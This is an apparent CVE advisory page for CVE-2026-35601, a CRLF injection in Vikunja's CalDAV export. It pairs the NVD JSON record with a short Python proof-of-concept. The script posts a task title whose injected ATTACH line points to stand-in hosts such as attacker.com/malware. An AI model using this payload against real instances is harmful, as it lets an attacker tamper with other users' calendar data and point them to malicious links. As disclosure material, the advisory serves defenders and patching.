CVE-2026-35601

# PoC Concept: Injecting an ATTACH property via Task Title # Payload: 'Normal Task\r\nATTACH;FMTTYPE=text/plain:https://evil.com/poc\r\nDESCRIPTION:' import requests target_url = "http://vikunja-instance/api/v1/tasks" headers = {"Authorization": "Bearer <TOKEN>"} # Malicious task title containing CRLF injection payload_title = "Buy Milk\r\nATTACH:https://attacker.com/malware\r\nSUMMARY:" data = { "title": payload_title, "description": "This task contains a malicious payload." } response = requests.post(target_url, json=data, headers=headers) print(f"Status: {response.status_code}") print("If successful, the CalDAV export will include the injected ATTACH property.")

{"cve": {"id": "CVE-2026-35601", "sourceIdentifier": "[email protected]", "published": "2026-04-10T17:17:03.837", "lastModified": "2026-04-17T21:56:20.487", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as ATTACH, VALARM, or ORGANIZER. This vulnerability is fixed in 2.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N", "baseScore": 4.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-93"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.0", "matchCriteriaId": "CC8B46CF-6E7B-46F4-8275-D1A38F2A6D5E"}]}]}], "references": [{"url": "https://github.com/go-vikunja/vikunja/pull/2580", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2g7h-7rqr-9p4r", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2g7h-7rqr-9p4r", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}